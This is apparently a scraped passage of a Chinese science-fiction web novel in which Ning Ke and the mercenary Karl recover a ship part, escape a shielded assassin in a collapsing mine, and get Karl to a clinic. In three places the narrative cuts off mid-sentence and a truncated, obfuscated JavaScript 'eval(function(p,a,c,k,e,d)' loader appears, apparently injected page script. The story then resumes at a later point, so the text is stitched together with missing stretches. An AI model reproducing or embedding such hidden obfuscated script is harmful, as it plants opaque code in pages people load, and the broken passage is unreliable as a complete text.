“吆,老二,小爷我给你抓了个苦力!”哨兵对着洞口大嗓门一吼,随后一把揪住宁可的领口,丢垃圾似地把她扔到一个手推车前。 他指着那一堆如山般的矿渣,露出了一个狰狞而满意的微笑: “你,去替他把废料推出去倒进后面的垃圾堆。干满一个下午,就算抵了你的油钱!” “……啊?” 宁可呆若木鸡地看着那沾满油垢和泥土的推车,又看了看自己干净纤细的手指,自尊心大受打击。 如此过了一个下午。 在矿洞进进出出,热火朝天地干了整整四个小时,宁可终于灰头土脸地得到了下班的指令。 前生她还在上学就英年早逝,所以这算是她第一次参加工作,体验着实说不上美妙。 离开矿洞后她先是找地方洗了把脸,整理了下仪容仪表,随后趁着夜幕蹲在无人的角落用对讲机跟卡尔汇报情况。 卡尔在对面沉默了很久,久到宁可以为信号断了。 宁可不知道该说什么好,草草结束了对话,去车上取了干粮和水,一边补充体力一边在几栋建筑中央空地的篝火旁找到了那名哨兵。 哨兵也在进餐,不知道是幸运还是不幸运,杰弗里跟哨兵坐得很近,两人叽叽歪歪不知道在说些什么。 宁可认出了杰弗里,却不敢轻率与其接触,所以只是找了个机会,走到哨兵身边问道:“大、大哥,我的油可以给我了吗?” 哨兵吞下口中的能量棒,开口说道:“啊、是,差点儿忘了,行,你跟我来。” 然而,杰弗里看了看宁可的脸,目光一凝,冷冷发话了:“油?什么油?这位小姐……瞧着面生啊?” “哦,是这样,大哥……”哨兵赶紧开口解释,将前因后果叙述了一遍。 下一秒,杰弗里一个板栗就敲到了哨兵头上:“你tm会不会算账!一车油多少钱?干一下午活又顶多少钱!?你有没有点脑子!?” 哨兵委屈巴巴,掰起手指头算起来,却半天算不明白。 “你算你m呢,你按三倍市场价,那她至少要干满三天!” “啊?”宁可张了张嘴。 杰弗里狞笑起来:“小姐,做生意讲究契约精神。这样吧,我看你也是个实在人,再干两天,油你拎走。” “可是……” 宁可看着杰弗里猥琐的笑容感到很生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“嘘!你你你等一会儿,”宁可的声音更低了,“好像有人来了……反正你快过来,我在最高的那栋楼第三层,从左往右第三个房间!你再不过来,我做鬼都不放过你!” 卡尔哭笑不得,把对讲机装进口袋,收拾了下行囊后准备向宁可所在处前进。 出发前他思考了片刻,往火箭筒里预装了一发炮弹,上好保险背在背后,另外两发炮弹则因难以携带被留在了原地。 他不是很担心宁可的安危,出发前他曾塞给宁可一把枪,现在没听到开火,对讲机也没收到紧急信号,说明事情还没到穷途末路的地步。 距离建筑群不足一百米时,异变突生,一声粗旷厚重的枪响传进卡尔耳中,卡尔心里一惊,因为这枪声和他塞给宁可的那把女式枪截然不同。 如果并非宁可开的枪,那便很有可能是他已经暴露,敌人在向他开火。 他赶忙找掩体藏身,但片刻后一连串的枪声又让他意识到开枪者不是冲着他来的。 他拿出望远镜查看情况,看到那辆威霆停在路中央,一个身形高瘦、戴着牛仔帽的男人站在车后,正与杰弗里的手下交火。 11. 绝路 卡尔隐在掩体后,越看越觉得心惊。 那个戴着牛仔帽的男人,每每要中弹时,周身都会产生一层微不可察的无色波纹,像雨点打在透明的湖面上,始终毫发无伤。 那是动能屏障。 这玩意儿不算什么新鲜东西,唯一的特点就是极其离谱的昂贵。 造价贵、材料贵、技术更贵,卡尔当佣兵有些年头了,见过这东西的次数不超过三次,其中两次还是在黑市的拍卖会上。 这东西的效果实打实的霸道,两方势力火拼,若有一方装备了这东西,便能在屏障能量耗尽前,完全无视周遭的枪林弹雨,闲庭信步般走到敌人面前,把枪管直接塞进对方的嘴里。 正因如此,哪怕是一对多,哪怕手里只有两把手枪,牛仔男依然呈现出单方面的屠杀态势。 短短数十秒,杰弗里那些咋咋呼呼的手下便已死伤惨重,崩溃的惨叫声在夜色中此起彼伏,死的死,逃的逃。 卡尔不愿与那个男人扯上关系。他猫着腰,趁着双方交火的间隙,利用土木草石和建筑外墙作掩护,悄无声息地向宁可指定的宿舍楼摸去。 起初潜行还算顺利,卡尔成功摸到了中间那栋矮楼的阴影里。 接下来,只要趁着夜色跨过矮楼前那片毫无遮挡的空地,他就能抵达宁可所在的宿舍楼与她汇合。 但也恰在此时,不远处的交火声戛然而止。 最后一声凄厉的惨叫被一记沉闷的枪响无情掐断,世界瞬间归于死一般的沉寂,只剩下夜风掠过荒原的呼啸。 卡尔屏住呼吸,微微探出半个脑袋,试图查看空地对面的情况。 然而,他甚至还没在黑暗中捕捉到对方的身影,耳边便骤然炸开“嗖嗖”两声凄厉的破空音! 跳弹几乎擦着他的头皮飞过去,灼热的气流燎断了几根头发,身侧的墙体上瞬间多出两个狰狞的弹坑,碎石劈头盖脸地砸了他一脸。 卡尔惊出一身冷汗,猛地缩回墙后。 见鬼! 对方早就发现他了。 别无他法,卡尔只能横下心来尝试交涉。他一边摸出一枚手雷,死死捏住握片、拔掉插栓,一边扯着嗓子大喊:“兄弟!别开火!我跟那群杂种不是一伙的!” 无边的夜色中没有任何回应。 “我有个很重要的东西被这伙杂种抢了,我只是来拿回我的东西!你要干什么我都可以帮忙,我们有话好说!” 短暂得令人窒息的沉默后,夜风中终于飘来一句回话,声音听起来还有些距离,语气却带着一种病态的温和:“先生,也许我们该面对面交谈,这是一种礼貌,不是么?” 礼貌你m! 卡尔忍住心里的怒意,深吸一口气,将手雷的插栓小心翼翼地插回去收好。 他高举双手,慢慢走出掩体,卡尔没有尝试向男人靠近,而是刻意跟掩体保持着一个半人宽的距离,确保只要情况不对,立刻能重新缩回墙后。 “先生,你被他们抢了什么东西?”男人问道,刺眼的强光从男人胸前的手电射出,如同一柄利剑般撕裂黑暗,直直打在卡尔的脸上,刺得他睁不开眼,也彻底隐匿了男人的面容。 “飞船零件!我有一架货船,一个挺值钱的关键零件被他们顺走了!”卡尔眯着眼大声回答。 “哦……”男人的尾音拖得很长,下一句话却让卡尔瞬间汗毛倒竖,“那你的名字,一定是卡尔了?” 卡尔瞳孔骤缩,没有半秒犹豫,本能地向侧向扑倒,拼命往掩体后摔去。 不出所料,死神如期而至。 两颗子弹紧咬着他的残影先后射来,一颗因为卡尔躲得快打在了墙上,而另一颗则精准地钻进了卡尔的右肩,爆出一团血花。 “艹!” 剧痛瞬间席卷神经,卡尔在心里破口大骂。 他再无半点交涉的念头,左手飞快地重新扯下手雷插栓,凭着刚才的记忆,狠狠朝牛仔男的方向掷去。同时,他拔出配枪,胡乱地朝着那个方向倾泻了几发子弹以作压制。 “轰——!” 借着手雷震耳欲聋的爆炸声和掀起的烟尘,卡尔咬牙给自己肩膀扎了一管止血针,踉跄着向建筑的另一侧转移。 那颗手雷确实为他争取了宝贵的喘息时间,卡尔成功绕到了建筑后方。 但他半点也高兴不起来,失血带来的眩晕感正一波波冲击着大脑,右臂已开始渐渐失去知觉,无力地耷拉在身侧。 他能清晰地感受到滚烫的鲜血正顺着腋下和胳膊不断涌出,迅速浸透了衣衫。 他的心随之越来越冷,那一枪,恐怕是打伤动脉了。 卡尔不敢停下脚步,拖着越来越沉重的身体在黑暗中摸索,最终一头扎进了那栋白天宁可打过黑工的圆形矿坑建筑里。 他心里很清楚,那个戴牛仔帽的男人顺着地上的血迹找到他只是时间问题。 今天他十有八九是要交代在这儿了。 可他没办法坦然赴死,他甚至都搞不清楚,那个如同杀神一般的男人为什么会知道他的名字,又为什么非要置他于死地? 大脑的供氧越来越少,他无暇多想,犹豫了片刻后,认命般地向那个黑黝黝、宛如巨兽深渊般的矿洞口挪去。 然而,他刚迈出没几步,黑暗中忽然窜出一个黑影,一把从身后擒住了他,并死死捂住了他的嘴! 卡尔大惊失色,正欲殊死搏斗,却突然愣住了。 背后贴上来的是一片不容忽视的柔软,紧接着,一股淡淡的、混杂着劣质洗发水和莫名清甜的女性香气钻进了他的鼻腔。 “卡尔!?” 身后的人压低了声音唤出他的名字,随即松开了手,语气里带着毫不掩饰的埋怨:“你慢死了!” 卡尔捂着肩膀转过身,咬紧牙关强装镇定,看着黑暗中那个顶着伪装面容的女人:“你怎么在这儿?你不是在宿舍楼吗?” “你还好意思说!你太慢了!”宁可理直气壮地瞪着他,“死胖子说东西放在这边矿区存储间里,我就顺道过来找了。我刚才用对讲机呼叫过你来着,但你没理我!” 卡尔这才猛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“艹!”卡尔绝望地靠在冰冷的岩壁上,身体一点点滑落,“那还跑什么?等死算了。” 黑暗中,两人听着那如同死神倒计时般的脚步声越来越近。 沉默中,宁可忽然死死盯住了卡尔,冷不丁地问道:“那个屏障……怕炮弹吗?” “除非瞄得很准,否则只有高热弹有用。”卡尔有气无力地答道。 宁可的视线随之下移,落在了卡尔背后的火箭筒上。 卡尔被她看毛了,出声否决:“别想了,这个不是。而且你敢在这用?不怕直接给你活埋了?” 脚步声已在拐角处响起,微弱的幽光开始在岩壁上折射。 死寂了几秒钟后,宁可忽然按住卡尔的肩膀,眼神里透着一股不知从哪冒出来的灵动和狡黠。 “卡尔,”她极小声地说道,“我想到了个主意。” 12. 来路 …… 伍迪的心情有点糟糕。 他现在觉得,“穷乡僻壤出刁民”这句古话可能真不是空穴来风。 起初,他压根没打算跟这群连枪都端不稳的本地帮派分子交火,毕竟他也不是什么嗜血的杀人狂。 然而,他只是客客气气地打听了一下“宁珂”,或者那个拙劣的化名“丁可欣”的消息,这帮不长眼的蠢货却不仅拒绝回答,言谈间居然还有抢他车的意思。 虽说那本来也不是他的车,弄丢了他也不心疼,但他就是不乐意受这种委屈,于是一言不合就开战了。 好在接下来的进展出乎意料地顺利。他不仅找到了目标那个倒霉的同伴,还顺藤摸瓜地捕捉到了那个疑似宁珂的背影。 唯一有些麻烦的是,这俩人一瘸一拐地逃进了一个黑黢黢的废弃矿洞。 这算是有利有弊,从结构上看,这破洞十有八九是个死胡同,而且在这种狭窄且不稳定的地下空间里,他完全不必担心对方使用那些能对自己造成实质性威胁的重型爆炸武器——除非他们想把自己活埋。 唯一需要提防的,也就是那些和动能屏障同世代的针对性武器,以及在这种陌生的地形里被对方绕晕。 前者,伍迪推测对方大概率没有。 而后者,伍迪也有对策,只要他死死咬住地上那串鲜红的血迹,猎物就插翅难飞。 一想到多日来的奔波劳累终于要画上句号,伍迪的心情又慢慢好了起来。 等这桩差事办完,主人那边短期内多半也不会再派新任务了,他可以找个风景宜人的度假圣地,舒舒服服地躺上十天半个月…… 啊,生活,如此美妙。 “哦~那个女孩~” 他心情颇好地在幽暗的矿洞里轻哼起来,皮靴踩在碎石上的节奏都轻快了几分。 “Eyessobright,藏着星光~” “身姿曼妙,引人遐想~” “随性模样,柔软张扬~” 他一边顺着血迹不紧不慢地追猎,一边在脑海中精确地勾勒着来时的路线。 直到“啪”的一声冷枪在前方不远处突兀响起,他下意识地抬起手电,刚好捕捉到一个在拐角处一闪而过的狼狈人影。 “哼。”伍迪嘴角勾起一抹冷笑,毫不犹豫地将视线重新投向地上的血迹,只是脚下略微加快了步伐。 对方明知他身上有动能屏障,却还要浪费子弹开这一枪,目的再明显不过——无非是想声东击西,转移他的注意力。 既然如此,那他就更不能上当了。 无论猎物玩什么花样,只要老老实实地咬住血迹,一切阴谋诡计都是徒劳。 只是,对方的逃窜速度似乎比他预想的要快上几分,他本以为加快脚步就能迅速结束这场无聊的猫鼠游戏,没成想一路追到了洞穴尽头,也没能再次看到那两个背影。 但这已经无所谓了。因为手电筒的光晕下,那条触目惊心的血迹一直延伸,延伸,再延伸,最终消失在角落里一台生锈的大号矿车后。 对方无路可逃了。 “先生,女士。我不得不说,你们做了一个极其愚蠢的决定。” 伍迪换单手持枪,悄咪咪地给手枪换上一个全新的弹匣,并开口说话掩盖金属碰撞声:“如果我是你们,绝不会像个土拨鼠一样钻进这种鬼地方,而是在外面用爆炸性武器殊死一搏。” 他顿了顿,带着一种恶趣味的坦诚继续说道:“不瞒你们说,我这身屏障的剩余能量其实只剩百分之七了。如果在外面,你们只要扔两个手雷……不,如果瞄得准的话,一个就足够把我们的差距拉平了。” 这是个谎言。他的屏障能量至少还剩百分之三十,外面那群帮派废物没资格让他消耗太多。 “可是在这儿……”伍迪缓缓挪步前进,“你们恐怕不敢随便扔炸弹吧?” “你别过来!”矿车后传来一声微颤的呵斥,音色清脆,正是那个女人的声音,“否则我就引爆通道,大家同归于尽!” “女士,宁女士,您可真幽默。”杀手顿住脚步,用手电筒警惕地扫视了一圈四周的岩壁和顶部,没有发现任何布置好的□□。 虚张声势吗?伍迪心中冷笑。 “您可是堂堂的‘帝国之剑’,怎么会舍得和我这种名不见经传的小人物一起被埋在石头堆里呢?” “……啊?”矿车后的声音突然带上了几分真切的诧异,“你怎么知道我的名字?你不是来杀卡尔的吗?” “不不不,我当然是专程为您而来。”伍迪放轻脚步,略微压低声音,如同逼近猎物的毒蛇,一点点向矿车靠近。 “你是泰迪!?” 伍迪前进的脚步微不可察地踉跄了一下,脸上的优雅差点没绷住。 “……能被您记住是我的荣幸,但能不能请您,正确地称呼一下我的名字?” 话音落下的瞬间,伍迪距离矿车仅剩五步之遥,他陡然暴起加速,一个闪电般的冲刺绕到矿车侧面,抬手便是毫不犹豫的三枪连射! 然而,矿车后面竟空无一人! 没等伍迪反应过来,伴随着骤然炸开的碎石飞溅声,矿车内部那堆积如山的矿石下猛地扑出一道黑影!正是宁可! 她就像一头潜伏已久的雌豹,趁着伍迪视线落空的极短间隙,精准无误地钳住了他的手腕,借着身体的扭力一个狠戾的擒拿,硬生生将他手里的枪夺下甩飞。 紧接着,寒光一闪,一把锋利的匕首直逼伍迪的面门刺来! “嗡——”无色的波纹瞬间剧烈颤动。 匕首的尖端悬停在距离伍迪皮肤寸许的位置,无论宁可如何用力,都再也无法寸进半分。 “哼……”伍迪发出一声嘲弄的冷哼,反手拔出自己的军刺迎了上去。 交手仅仅几个回合,伍迪的心中便升起了一丝轻蔑。 与上次见面相比,这个女人的近战搏杀能力不仅没有半分精进,反倒更加生涩了,看似动作很快,实际却是步伐紊乱、破绽百出。 唯一值得称道的是,这女人易得一手好容,若非事先得到情报,他还真有可能认不出对方。 伍迪犹如闲庭信步般游走,手腕翻转间,便轻而易举地在宁可的四肢上留下了几道血流如注的割伤。 帝国之剑不过如此。 伍迪脑海中刚刚闪过这个念头,眼角的余光便瞥见宁可突兀地摸出了一枚圆滚滚的手雷。 难道——?! 来不及多想,求生的本能让伍迪猛地一脚将宁可踹飞出去,借力向后暴退拉开距离。 被踹倒的宁可没有半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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诡异的事情发生了,任凭他如何加速,他与宁可之间的距离竟然没有缩减半分,在接连绕过几个错综复杂的拐角后,他甚至彻底追丢了对方的身影! 对方对这个洞穴极为熟悉! 好在他的方向感一向极佳,加上地上那源源不断的新鲜血迹作为路标,他确信自己绝没有偏离正确的路线。 快了,算算脚程,马上就要回到斜井的出口了。 就在这时,前方的黑暗中忽然传来了宁可声嘶力竭的呼喊声。 “卡尔!卡尔!” 伍迪眉头紧锁起来。 那个重伤的男人居然没逃,反而躲在出口等她么? 这有什么意义?伤成这样他能做什么? 然而,就在他冲过最后一个拐角,终于看到矿洞出口的时候—— 耀目的尾焰,伴随凄厉的风啸,猛然灌向洞口侧上方的岩壁! 轰! 伍迪瞳孔彻底凝固,他慌忙后撤,虽未直接受到爆炸波及,但下一刻天崩地裂,泥沙碎石宛如雪瀑簌簌而落,顷刻间便堵死了洞口,再不见来路。 13. 让我看看你的脸 Let me 卡尔不止一次想过背叛。 在这个静谧、寒冷的夜里,他半靠半坐在墙边,几乎分不清现实和梦境。 他不知道自己清醒了多久,又昏迷了多久,他只记得自己无数次扣动扳机,在一个个冰冷恍惚的梦里,用那枚□□轰击那个洞口。 有几次,他等那个女人跑出洞口才开火,火光中他们狼狈地庆幸生还。 但更多次,他在女人尚未露面时便按下了开关,爆炸,塌方,然后一切归于死寂,杀手和那个女人一同被埋进深渊。 他知道后者是最理智的做法。 卡尔潜意识里就不相信那个女人能按计划活着出来,不过要说的话,他也不需要那个女人出来。 站在他位置上,只要在出洞后立即封闭洞口,威胁便能即刻解除,他方有一线生机…… 反正,他连那个女人的名字和长相都不知道,二人之间只有交易关系……所以……所以即使那个女人被活埋也无所谓。 卡尔是这么想的。 但那个女人真的很蠢,蠢到答应那个荒谬的“色诱”计划,蠢到以身为引深入虎口,生死一线全交由他来打理。 难道那个女人没有发现,从始至终只有身为雇主的她在涉险,而本该保她安全的佣兵却躲在暗处么? 真是够了,这种蠢人有什么活下去的资格。 稀土就是这样的地方,弱肉强食,物竞天择。 要怪只能怪她自己太天真。 卡尔确实是这么想的。 在那段不长不短的时间里,无论是梦中还是现实,卡尔说服了自己一次又一次。 开火,射击。 埋了那个杀手。 埋了她。 可那个女人信任他,主动提出了那个计划。 那个蠢毙了的计划。 稀土是个恶臭漫天的垃圾场,贪婪、背叛、谎言、算计,这些才是稀土的主基调。 污泥里生不出花朵,稀土也养不出这种蠢人。 所以那个女人说她要去耶尓亚。 她的家在那里么? 卡尔内心顿时油然而生一股悲哀,如果他不是生在稀土,是不是也能变成像那个女人一样的人? 卡尔这么想着,连对杀手的憎恨和恐惧都被冲淡几分。 身体越来越重,越来越渴,世界随之变黑,随之变冷。 睡一会儿吧,都无所谓了。 “卡尔!卡尔!” 不知过了多久,也许只有数秒,也许是几十分钟,他听见女人的呼唤。 焦急,疲惫,但又掩饰不住那股洋洋自得的神气。 真够艹蛋的。 卡尔打了个寒颤,猛地睁开双眼,在那抹纤细的身影冲出洞口的刹那,用肩膀死死顶住那个沉重的火箭筒。 这是他预演了无数次的动作。 下一刻,刺耳的爆鸣在耳畔响起,带走他最后一丝神志。 …… 看着轰然倒下的卡尔,宁可是真的慌了。 不管怎么说,一个正常人流了这么多血,大概率是要死透了吧?她本来就心虚,现在看着卡尔真晕了过去,心里更是七上八下。 怎么办怎么办……失血过多急救是怎么操作来着?包扎?包哪儿?包脖子? 宁可急得都想摸手机打120了。 没办法,她只好跑出废墟,本能地大喊了两嗓子“救命!有没有人啊!” 然而一出门,看着外面满地横七竖八的尸体和惨烈的弹痕,宁可彻底傻眼了。 这破地方难道连个喘气的都没了?……等等,好像还有一个。 宁可脑中灵光一闪,旋即掉头冲向最高那栋楼的第三层第三室。 没人?!那个猥琐死胖子跑哪儿去了? 宁可正纳闷,脑后忽然生风。她几乎是条件反射般地举臂一挡——“砰”的一声闷响,果不其然,杰弗里那坨肥肉正躲在门后准备阴她。 宁可本就因为连累了卡尔而满心愧疚,正愁一肚子邪火没处发,挡住偷袭后更是气不打一处来。她想都没想,情不自禁地使出了学生时代防身术里的“对雄杀招”,干脆利落的一个抬腿,精准命中杰弗里的要害。 杰弗里的肥脸瞬间涨成了猪肝色,发出一声极其短促的惨叫,双手死死捂住□□,像一只煮熟的虾米般蜷缩着跪倒在地。 宁可现在可没时间跟他嘻嘻哈哈。 她一把揪住杰弗里后颈的衣领,拖死狗一样拽着他往楼下狂奔,全程无视了杰弗里杀猪般的哀嚎,一路火花带闪电地将这个两百多斤的胖子硬生生甩到了卡尔面前。 好在杰弗里穿的衣服质量够好皮够厚,不然这一路台阶磕下来,估计半道上就得歇菜了。 “你!救活他!他要是咽气了,你也跟着陪葬!” 宁可猛地拔出枪,黑洞洞的枪口直接怼在杰弗里的脑门上。 杰弗里本来就疼得涕泗横流、狼狈至极,被这明晃晃的杀意一吓,括约肌瞬间失守,当场尿了裤子。 但宁可完全没注意到空气中多出的异味。 “大姐、啊不!姑奶奶饶命……”杰弗里吓得就差磕头叫祖宗了。在宁可吃人的目光注视下,他只能强忍着□□撕裂般的剧痛,哆哆嗦嗦地爬过去查看卡尔的伤势。 等认出地上躺着的是卡尔后,他又惊恐地暗暗偷瞄了宁可一眼。 “他之前中枪了,大概是失血过多。”宁可死死攥紧拳头,语气低沉得吓人,“伤口在右边肩膀那里。” 杰弗里听完好像有了点思路,小心翼翼地掀开卡尔右臂伤口处的布料观察了一番,随后吭哧吭哧跪回了宁可脚边: “姑奶奶!姑奶奶!这没救啊!他、他这血流的多的话估计要输血,这荒郊野岭的哪有这东西……” “哦,那你跟他一起死吧。” 宁可面无表情地拉了一下枪栓。 “咔哒”一声脆响,把杰弗里吓得浑身一激灵,求生欲瞬间爆棚,立刻改口:“有有有有办法!打针,打针,先打针姑奶奶,打完针往城里送,也许还有救,还有救……” “什么针?”宁可皱眉。 “我我我这就去拿,在车里……”杰弗里抖得像个筛子,连滚带爬地往中央矮楼旁的一辆越野车跑去拿医疗箱。 宁可怕他借机开溜,提着枪寸步不离地跟着。 这一路上难免跨过不少杰弗里帮派手下的尸体,宁可的良心又忍不住泛起一丝微妙的愧疚,心想杰弗里看到自己小弟死得这么惨,心里大概也不好受。 拿回医疗箱后,杰弗里果然变得沉默了许多。 他一言不发、满头冷汗地给卡尔扎了针,动作麻利地绑上止血带和医用纱布。 随后,在宁可的武力威慑下,两人哼哧哼哧地将昏迷的卡尔和沉重的飞船零件一起扛上了车。 “那、那个……姑奶奶,人也救了,东西也搬了,没啥事的话,我、我能先走……”杰弗里战战兢兢地问。 “走什么走!滚过去开车!” “啊?我开……?” “啊什么啊!我刚说了他死你也死,你以为我在跟你开玩笑!?” 宁可瞪圆了眼睛,她以为杰弗里是在惦记那些死伤的手下,凶巴巴地威胁完后,又自以为体贴地补了一句:“再说了,你那几个活着的跟班早跑没影了,一点义气都没有,你以为人家还在原地等你吗!?”< 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宁可犹豫了一下,但脑子里突然闪过不知从哪部医疗剧里看来的“常识”:重伤失血过多的伤员不能随便喂水,于是她硬下心肠,眼睁睁看着卡尔干咽唾沫,死活没敢给他喂一滴。 另一次,则是卡尔半梦半醒间,挣扎着抬起那只没受伤的胳膊,嘴里含糊不清地嘟囔着,说是想看她的脸。 宁可不知道卡尔在昏迷前经历了怎样百转千回的“心路历程”,只想着那个杀手就算没死一时半会儿也绝对追不上来,如果连将死之人的遗愿都不满足,那未免太残忍。 于是,宁可咬了咬牙,把脸上那些捂得发馊的伪装和易容器具全给卸了个干净。 卡尔当时半耷拉着眼皮,眼神涣散,也不知道视线聚焦了没有、到底看没看清。反倒是前面开车、时不时透过后视镜偷瞄的杰弗里被吓得猛打了一把方向盘。 这死胖子惊恐地瞪大了本来就不大的绿豆眼,还以为后座莫名其妙上演了什么“大变活人”的灵异戏码,差点把车开进沟里。 直到宁可眉毛一竖,凶巴巴地冲他吼了一嗓子“看什么看!好好开你的车!”,杰弗里听出这母老虎的凶悍语气一点没变,这才狂抹着冷汗,确信人还是原来那个活祖宗。 稀土星这种地方,是真的荒凉得让人绝望。 车窗外大片大片掠过的,不是粗砂戈壁就是滚滚黄沙,连根像样的杂草都算是稀罕物,更别提人烟了。 这一路上,宁可愣是连半个活人都没撞见。 不过这也算因祸得福,至少路况出奇的通畅。 再加上驾驶座上的杰弗里是真的惜命,生怕卡尔半路咽气,后座这位姑奶奶让他陪葬,简直把越野车开出了星际战机的架势,油门恨不得踩进油箱里,一路风驰电掣,愣是把原本四五个小时的车程,硬生生压缩到了两个半小时。 就这,杰弗里还经常挨宁可骂,责备他车开得太颠了。 万幸的是抵达灰城时,卡尔还未死透,在宁可的指挥下,车子一路驶进某家全天候开放的医疗机构。 医生一看说是要做手术输血取子弹,然而两人加起来钱也不够,好在杰弗里在城里还算有点人脉,几个电话下来凑齐了医疗费。 一派妥帖后,目送护士把卡尔推进手术室,宁可终于松了口气,一边放走了杰弗里一边坐到走廊长椅上休息。 深夜的诊所静得落针可闻,刺鼻的消毒水味钻进鼻腔,让紧绷后的疲惫变本加厉地袭来。 不远处,镶嵌在墙壁内的显示屏正百无聊赖地循环播放着深夜新闻。 “……针对近日稀土星出现的虫族目击报告,希里帝国军方已表示高度关切。据可靠消息,帝国慕氏家族长子慕远已被派遣前往稀土星进行实地探查……” 14. 林特尔 接下来的两天,宁可几乎完全躲在廉价出租屋里,足不出户。 虽然也不能确定帝国那帮人会不会来灰城找她,但她不愿意冒这个险。 而到第三天,宁可实在坐不住了(其实是钱快花光了),裹了个严实去医院探望卡尔,此时卡尔才堪堪恢复到能勉强下地走路的程度。 “你一定要穿成这幅样子么?”卡尔穿着病号服,身上缠着绷带问。 “什么样子?”宁可说话隔着口罩,瓮里瓮气,“我觉得挺帅的啊,侦探风。” 卡尔显得有些不耐烦:“说清楚,到底怎么回事,你也被人追杀了?” 宁可扯了扯衣角,犹豫不决的样子,良久后终于下定决心:“我跟你说个事,你别生气哈!” “说。” “……之前那个杀手,其实是冲着我来的。” “不可能,我跟他谈判时,听到他喊了我的名字。” “我估计是谁跟他说了我们在一起,然后你就……就被我连累了。” 能是谁呢?宁可觉得十有八九是肖恩了,这货一看就不是什么好东西,把杰弗里的情报泄露出来也是他干的事,两面三刀的家伙。 卡尔没说话,沉思许久。 “所以,如果你觉得危险,不想送我去耶尓亚了,也没事,我再想别的办法。” 其实宁可没什么别的办法,她只是客套一下,如果卡尔真打算弃她不顾,她就哭给卡尔看。 “他为什么要杀你?”卡尔问。 “……我不太确定。” 宁可其实是有一个猜测的。 从来到稀土星的那一刻起,她始终战战兢兢如履薄冰,能不出门就不出门,所以知道宁可还活着的,十有八九只有野狼和帝国两方面的人。 如果野狼的人想让她死,没必要这么大费周章,当初做任务期间,他们能动手的机会多的是,所以宁可觉得,大概是帝国的手笔。 可这是为什么呢?宁珂已经为国捐躯过一次,这还不够吗? 慕远真有这么恨她,献祭她喂虫还不够,现在又要派杀手补刀? 这男人真是太可怕了。 宁可没见过慕远,只在刚来这个世界时,从系统那里获知了他的长相和那段往事。 对此,宁可的评价是原主恋爱脑,慕远却打心底里蔫儿坏,所以要说这一切都是慕远的安排,宁可绝不会有半点怀疑。 “算了,”卡尔叹息一声,“我这条命也算是你救的,就当扯平了。送你回耶尓亚的事照旧。” 宁可脸上平平淡淡,心里别提多高兴了,点点头道:“好啊!那我们啥时候出发?今天?” “你看我像是能出发的样子么?”卡尔扯了扯病服衣领,露出缠在右肩的绷带。 “呃……好像是不太行。” “那不得了?” “那……我先回出租屋等你?你康复了再联系我?” 卡尔盯着这个没心没肺的女人看了好一会儿,疲惫地叹口气:“嗯,行。你走吧。” 宁可挠挠头,看出卡尔心情不太美丽,便问道:“怎么了吗?” “没怎么。” 宁可环视了一圈空荡荡的病房,忽然一拍脑门,后知后觉地意识到了自己的问题。 一般探病是不是该买点水果? 怪不得人不高兴,人家刚从鬼门关回来,自己连个果篮都没拎,光顾着催人家干活,跟无良资本家也没差了! “那什么,你等我会儿,我去外面给你买点水果啊!马上回来!嗯!” “你……” 卡尔刚要开口,就被一阵粗暴的敲门声打断。 病房门被推开,一个约莫二三十岁的男人大摇大摆地晃了进来。 这人戴着一副夸张的战术墨镜,上身穿着件满是铆钉的街头夹克,下半身配着条松垮的朋克裤,头发染得花花绿绿,妥妥一流氓混混形象。 “哪位是丁小姐?”他一进门就扯着公鸭嗓嚷嚷。 宁可吓得一激灵,本能地往后缩了缩,但看对方没打算直接动手,这才壮着胆子问:“你、你有事啊?” 混混走进病房,靠近到几米处。 “你就是丁小姐?” “呃……大、大概是。” 混混盯着宁可那张捂得严实的脸看了许久(虽然也不知道他在看什么),好像是确认了身份,态度随即发生了一百八十度大转变,点头哈腰道: “哎呦,丁小姐你好,你好,打扰你了很sorry啊,是这,我们老大肖恩想跟你见一面,不知道你啥时候方便?” “他又想干啥?”宁可警惕道。 “呃,老大说想就之前的事,跟你当面道个歉。” “道歉?”宁可眨眨眼,很快反应过来,对着卡尔愤愤不平说道,“看!我就猜到是肖恩泄的密!” 卡尔全程不说话,只是冷冷盯着那个混混,手藏在被褥下面。 “我不去!你跟你老大说,人在做天在看,两面三刀不得好死!” “丁、丁小姐,我们老大是诚心想跟你道歉……” “我干嘛听他道歉?不听不听,让他哪儿凉快哪儿待着去!” “丁小姐,你别这样……我们老大真是带着十二分诚意想道歉,你这样的话,他就只能择日登门拜访……哦不,他说他准备了很丰厚的赔偿……” 宁可眼睛瞬间亮了:“什么赔偿?” “呃……”小混混侧了侧脑袋,好像在听什么东西,宁可才注意到对方戴了个耳机样的设备。 “我们老大说,之前那笔生意,钱会一分不少全退给您……啊,还说还准备了其他的补偿……” “真的假的?” “绝对没有任何假话。” “那……那看来不得不去了。” 宁可霍然起身,整理了一下风衣领口。要知道,几分钟前她还在为钱发愁,盘算自己的存款还够花几天。 然而,她刚一转身,就迎上卡尔看傻子般的视线。 “咋了?看我干什么?” 卡尔深吸一口气,强忍翻白眼的冲动:“你是不是没长脑子?这是能答应的么?” 宁可缩了缩脖子,也感觉到有些不对劲,扭头对混混试探道:“这样吧,补偿我就收下,道歉我心领了,你们想办法把钱送过来就行,我这人社恐,见面就免了,好吧?” 